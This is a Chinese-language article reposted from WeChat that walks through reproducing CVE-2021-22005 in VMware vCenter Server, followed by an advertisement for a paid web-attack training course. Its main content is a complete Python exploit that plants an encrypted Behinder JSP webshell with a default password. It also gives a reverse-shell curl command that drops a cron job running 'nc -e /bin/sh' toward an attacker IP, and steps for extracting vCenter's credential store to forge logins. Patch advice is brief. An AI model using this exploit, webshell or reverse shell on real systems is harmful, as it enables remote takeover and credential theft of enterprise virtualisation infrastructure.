VMware vCenter Server 任意文件上传漏洞复现 CVE-2021-22005
2021-11-06 01:01:00 Author: mp.weixin.qq.com(查看原文) 阅读量:291 收藏

文章来源|MS08067 “WEB攻防”知识星球

本文作者:Taoing(WEB高级漏洞挖掘班讲师)

追踪最新漏洞  认准Web星球

1、漏洞描述

2、漏洞影响

3、环境搭建

4、漏洞复现

5、修复方案

漏洞描述

VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

漏洞影响

针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞
VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受漏洞影响
其余漏洞受影响版本可参考

https://www.vmware.com/security/advisories/VMSA-2021-0020.html
安全版本:
VMware vCenter Server 7.0 U2c
VMware vCenter Server 6.7 U3o


环境搭建

vcenter server7.0安装

https://blog.csdn.net/Rio520/article/details/115664112

VMware-VCSA-all-7.0.0-15952498.iso

https://pan.baidu.com/share/init?surl=oW3JQWIeJoYcnbbJn8PBjw

提取码:x6fa

漏洞复现

漏洞批量检测poc

我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响。

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"

如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。

如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。

如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。

如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
任何其他状态代码可能暗示不适用。

漏洞EXP:

python3 CVE-2021-22005_poc.py -t https://ip

import requestsimport randomimport stringimport sysimport timeimport requestsimport urllib3import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size))  def escape(_str): _str = _str.replace("&", "&amp;") _str = _str.replace("<", "&lt;") _str = _str.replace(">", "&gt;") _str = _str.replace("\"", "&quot;") return _str  def str_to_escaped_unicode(arg_str): escaped_str = '' for s in arg_str:   val = ord(s)   esc_uni = "\\u{:04x}".format(val)   escaped_str += esc_uni return escaped_str  def createAgent(target, agent_name, log_param):    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param) headers = { "Cache-Control": "max-age=0",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0",        "X-Deployment-Secret": "abc",        "Content-Type": "application/json",        "Connection": "close" }        json_data = { "manifestSpec":{},         "objectType": "a2",        "collectionTriggerDataNeeded": True,        "deploymentDataNeeded":True,         "resultNeeded": True,         "signalCollectionCompleted":True,         "localManifestPath": "a7",        "localPayloadPath": "a8",        "localObfuscationMapPath": "a9" }          requests.post(url, headers=headers, json=json_data, verify=False)   def generate_manifest(webshell_location, webshell):  manifestData = """<manifest recommendedPageSize="500">   <request>    <query name="vir:VCenter">      <constraint>       <targetType>ServiceInstance</targetType>      </constraint>      <propertySpec>       <propertyNames>content.about.instanceUuid</propertyNames>       <propertyNames>content.about.osType</propertyNames>       <propertyNames>content.about.build</propertyNames>       <propertyNames>content.about.version</propertyNames>      </propertySpec>    </query>   </request>   <cdfMapping>    <indepedentResultsMapping>      <resultSetMappings>       <entry>         <key>vir:VCenter</key>         <value>                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">            <resourceItemToJsonLdMapping>             <forType>ServiceInstance</forType>            <mappingCode><![CDATA[               #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##             #set($orig_log = $appender.getFile())##             #set($logger = $GLOBAL-logger.logger.parent)##               $appender.setFile("%s")##               $appender.activateOptions()##              $logger.warn("%s")##              $appender.setFile($orig_log)##               $appender.activateOptions()##]]>            </mappingCode>            </resourceItemToJsonLdMapping>          </value>         </value>       </entry>      </resultSetMappings>    </indepedentResultsMapping>   </cdfMapping>   <requestSchedules>    <schedule interval="1h">      <queries>       <query>vir:VCenter</query>      </queries>    </schedule>   </requestSchedules> </manifest>""" % (webshell_location, webshell)   return manifestData def arg(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help = "Target", required = True) args = parser.parse_args() target = args.target print("[*] Target: %s" % target) return target def exec(): target = arg() # Variables webshell_param = id_generator(6) log_param = id_generator(6) agent_name = id_generator(6) shell_name = "Server.jsp" webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""  webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name webshell = str_to_escaped_unicode(webshell) manifestData = generate_manifest(webshell_location,webshell) print("[*] Creating Agent") createAgent(target, agent_name, log_param) url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param) headers = {"Cache-Control": "max-age=0",           "Upgrade-Insecure-Requests": "1",           "User-Agent": "Mozilla/5.0",           "X-Deployment-Secret": "abc",           "Content-Type": "application/json",           "Connection": "close"} json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"} requests.post(url, headers=headers, json=json_data, verify=False) #webshell连接地址 url = "%s/idm/..;/%s" % (target, shell_name) code = requests.get(url=url, headers=headers,verify=False).status_code if code != "404":   print("webshell地址: %s" % url)   print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )  else:   print("未获取到webshell地址")  if __name__ == '__main__': exec()


反弹shell EXP:

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh Your IP port"

这里我没成功

vCenter cookie读取登录:

存储关键身份验证信息数据位置:

Linux:

 /storage/db/vmware-vmdir/data.mdb

Windows

 C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

读cookie:

下载解密脚本:

git clone https://github.com/horizon3ai/vcenter_saml_login.git

用法:

python3 vcenter_saml_login.py -p data.mdb -t 10.1.2.174

如果提示库文件缺少使用下面方法解决:
ModuleNotFoundError: No module named 'OpenSSL'解决方法
pip3 install pyOpenSSL
ModuleNotFoundError: No module named 'ldap'解决方法
pip3 install python-ldap
ModuleNotFoundError: No module named 'signxml' 解决方法
pip3 install signxml

修复方案

1、升级VMware vCenter Server 至最新版本。

2、针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞,可按照 https://kb.vmware.com/s/article/85717 相关措施进行缓解。

追踪最新漏洞  扫下方二维码

11.13号  Web高级攻防 第2期

开班啦~

根据第一期班同学的真实反馈,我们基本上全部重写了第二期班的授课目录和大纲(详见下文),主要突出了学员最关心的二点“高级技术进阶”和“实战漏洞挖掘”,第二期我们会为每一次授课内容配备专门的“实战靶场”以供同学们练习!

第二期新增加了逻辑漏洞讲解、TOP10、通用漏洞复现、办公系统实战、越权实战、云安全实战、工具绝技、APP专项等内容。

最新课程大纲2.0版

*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)

最新课程目录2.0版

课程费用

每期班定价2999双十一价1999前30名送365元Web安全知识星球名额

每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!

凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部价1899

支持支付宝、信用卡、花呗分期,对公转账,可开发票!

第一期班学员作业(部分)

上课时间

开课时间11月13号,每周二天课,共8周21节课(42小时)
周四:19:30-21:30
周六:14:00-18:00

如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。

上课方式

培训采用在线直播+随堂录播+配套教材+配套星球+课后作业的形式,无需等待,报名后立即进入“Web安全”星球开始预习。
 

讲师介绍

讲师A:MS08067安全实验室核心成员,Web安全知识星球合伙人,安恒信息安全高级工程师,擅长企业安全研究、情报分析、渗透测试,安全开发。

讲师B:MS08067安全实验室核心成员,Web安全知识星球合伙人,擅长渗透测试、红队攻击、安全开发。

讲师C:MS08067安全实验室核心成员,资深安全培训讲师,擅长WEB渗透测试、内网渗透、密码学、安全管理、等保、法律法规等。


如何提前预习

  • 为更顺利的完成课程相关内容,请同学一定要提前预习相关知识点,已经报名的同学,请购买实验室出品《Web安全攻防:渗透测试实战指南》一书或在赠送的MS08067实验室“Web安全知识星球”中学习相关的内容。


    本次课程为WEB安全进阶提升课程,基础比较差的同学请务必提前一周预习“Web安全”知识星球内基础课程!

    为什么选择MS08067直播培训     

MS08067近年来在安全界的口碑还是有目共睹的,特别是对信安感兴趣的学生、爱好者做了些有意义的事情,是真心实意的为读者,绝无半点虚假,做星球的初衷也是为了满足读者对于图书配套视频的需求,不像一些培训把心思花在宣传、花在“卖教程”上,实验室4年出版了4本原创图书就可以看出我们的初心和技术能力。

此次培训围绕红队攻击中的实战应用,重点突出实战、干货、思路、深度。负责讲解的老师也是MS08067的资深核心骨干成员,拥有多年的实战工作经验,让您所学的技术可以在企业中真正用得上。

很多读者跟我反映过开始都是看视频、看书自学,但是一旦遇到实验报错就没法解决,遇到不懂的技术点也没人解答,本应该重点掌握的技术也没有掌握,100%的初学者都会或多或少的走些弯路,学了1-2年还是效率低、进步慢,有的甚至就放弃了信安这个行业,学习信安要有圈子,也要有方法,自学当然没有问题,但该花的钱一分也不能少花。

最后再说下现在的信安培训也是鱼龙混杂,有很多挂羊头卖狗肉的也有很多商业化很成熟的机构,我们只希望做自己、多出书,然后做些小而精的培训,仅此而已。

    你距离大佬,只差一个决定       

报名咨询请联系小客服


如果喜欢本文
欢迎 在看留言分享至朋友圈 三连

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 

来和5000+位同学一起加入星球学习吧!



文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247496515&idx=1&sn=e81bef5326c24aa270a6d474e7b510fc&chksm=fc3c4a42cb4bc354184cc8c928d676013bb5897a3f537abb1d8fc337c1f4e29469d65848d0dd#rd
如有侵权请联系:admin#unsafe.sh